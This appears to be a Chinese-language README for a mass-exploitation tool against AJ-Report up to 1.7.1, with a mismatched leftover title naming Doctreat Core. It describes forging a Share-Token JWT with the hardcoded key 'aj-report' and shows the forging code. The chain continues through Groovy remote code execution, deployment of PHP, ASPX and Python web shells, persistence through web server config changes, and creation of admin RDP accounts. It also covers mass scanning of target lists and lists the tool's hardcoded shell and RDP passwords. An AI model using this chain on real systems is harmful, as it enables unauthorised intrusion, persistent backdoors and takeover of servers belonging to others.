Doctreat Core <= 1.6.8 - 未认证权限提升 | RCE
Doctreat Core <= 1.6.8 - 未授权权限提升 | RCE
针对 AJ-Report ≤ 1.7.1 的完整利用链 — 从未授权访问到远程代码执行、
Web Shell 部署、域信息提取以及 RDP 账户创建。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-120209 |
| 受影响 | anji-plus/AJ-Report — 直至 1.7.1 的所有版本 |
| 严重程度 | 严重 — CVSS v4.0: 9.3 / CVSS v3.1: 9.8 |
| 弱点 | CWE-321 — 使用硬编码加密密钥 |
| 攻击向量 | 网络(无需认证,无需用户交互) |
| 发布日期 | 2026年10月31日 |
| 致谢 | LionTree(原始披露者) |
AJ-Report 直至 1.7.1 版本使用硬编码的 JWT 密钥(aj-report)对共享令牌进行签名,使攻击者能够离线伪造有效的 Share-Token 请求头。攻击者使用 reportCode=dataSet 生成令牌以访问 /dataSet/testTransform 端点,该端点将用户提供的脚本直接传递给 GroovyClassLoader — 从而在底层服务器上实现未授权远程代码执行。
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-120209 │
│ Full Exploitation Chain │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ 1. DETECT Fingerprint AJ-Report on target │
│ │ POST /dataSet/testTransform → "credentials" │
│ ▼ │
│ 2. FORGE TOKEN Mint JWT Share-Token offline │
│ │ Secret: "aj-report" reportCode: "dataSet" │
│ ▼ │
│ 3. BYPASS AUTH Submit forged Share-Token header │
│ │ Endpoint validates token → grants access │
│ ▼ │
│ 4. GROOVY RCE Send Groovy script via testTransform │
│ │ GroovyClassLoader executes arbitrary code │
│ ▼ │
│ 5. RECON Extract OS, user, root, PHP/Python, hostname │
│ ▼ │
│ 6. DEPLOY Write PHP/ASPX shells to web directories │
│ │ Start standalone PHP/Python server if needed │
│ ▼ │
│ 7. PERSIST Fix nginx/IIS config, verify HTTP access │
│ ▼ │
│ 8. DOMAINS Extract domains → deploy shells per domain │
│ ▼ │
│ 9. RDP (Win) Create admin RDP account + firewall rule │
│ │
└─────────────────────────────────────────────────────────────────────┘
disable_functions 并重载 PHP-FPMpip install pyjwt
无其他外部依赖——该漏洞利用使用 Python 标准库(
http.client、ssl、json、threading、base64)完成所有 HTTP 操作。
python CVE-2026-120209.py
该工具呈现一个交互式菜单:
▸ 1 SCAN Mass scan + deploy shells + RDP
▸ 2 EXPLOIT Single target full chain + interactive CMD
扫描目标列表,利用存在漏洞的实例,部署 shell,提取域名,并配置 RDP。
▸ Mode: 1
▸ Target list: targets.txt
▸ Threads [10]: 50
目标列表格式 — 每行一个目标:
http://192.168.1.10:9095
https://report.example.com
10.0.0.5:9095
example.com
http://10.0.0.6:9095/report
输出文件(保存在与目标列表相同的目录中):
| 文件 | 内容 |
|---|---|
Nx_shellS.txt | 已验证的 Web Shell URL |
Nx_RCE.txt | 所有已确认 RCE 的目标及详细信息 |
Nx_RDPs.txt | 已创建的 RDP 账户(Windows 目标) |
Nx_domains_shells.txt | 基于域名的 Shell URL |
Pass.txt | Shell 和 RDP 凭据参考 |
针对单个目标执行完整利用链,输出详细日志并支持交互式命令执行。
▸ Mode: 2
▸ Target URL: http://192.168.1.10:9095
利用成功后,将获得一个交互式命令 shell:
[email protected] > whoami
root
[email protected] > cat /etc/passwd
...
[email protected] > exit
| 参数 | 值 |
|---|---|
| 默认端口 | 9095 |
| JWT 密钥 | aj-report |
| JWT 报告代码 | dataSet |
| Shell 密码 | Nxploited_zD |
| Shell 签名 | Nx-zD |
| RDP 密码 | Nx_admin@!KSA&&^%1234WEqwew |
| RDP 用户前缀 | Nxploited_123 |
| 验证超时 | 12s |
该工具向 /dataSet/testTransform 发送一个带有空 JSON 主体的 POST 请求。如果响应中包含 "credentials" 或 "expired",或者索引页面引用了 AJ-Report,则确认目标存在。
使用硬编码密钥 aj-report 离线伪造一个有效的 Share-Token:
jwt.encode({
"reportCode": "dataSet",
"shareCode": "nx_<random>",
"sharePassword": None,
"iat": <now>,
"exp": <now + 24h>
}, "aj-report", algorithm="HS256")
伪造的令牌通过 Share-Token HTTP 头发送到 /dataSet/testTransform。该端点将提供的 Groovy 脚本传递给 GroovyClassLoader,以应用程序的权限在服务器上执行任意代码。
Groovy 脚本收集系统信息:
根据目标能力:
| 条件 | 操作 |
|---|---|
| PHP 可用 | 将 PHP Web Shell 部署到 Web 目录 + 启动 PHP 内置服务器 |
| Python 可用(无 PHP) | 部署 Python HTTP Shell 服务器 |
| Windows + IIS | 部署 ASPX Web Shell,必要时启用 ASP.NET |
| 无 PHP(root,Linux) | 尝试通过包管理器安装 PHP |
扫描的 Web 目录:
/var/www/html、/usr/share/nginx/html、/www/server/nginx/html、/www/wwwroot、/home/wwwroot、/data/wwwroot、/opt/lampp/htdocsC:\inetpub\wwwroot、C:\xampp\htdocs、C:\wamp64\www、C:\nginx\html/www/server/panel/vhost/nginx/*.conf、/etc/nginx/sites-enabled/*、/etc/nginx/conf.d/*.conf)中解析 server_name 和 rootWebAdministration 模块读取 IIS 绑定并解析 hosts 文件创建具有 RDP 访问权限的本地管理员账户: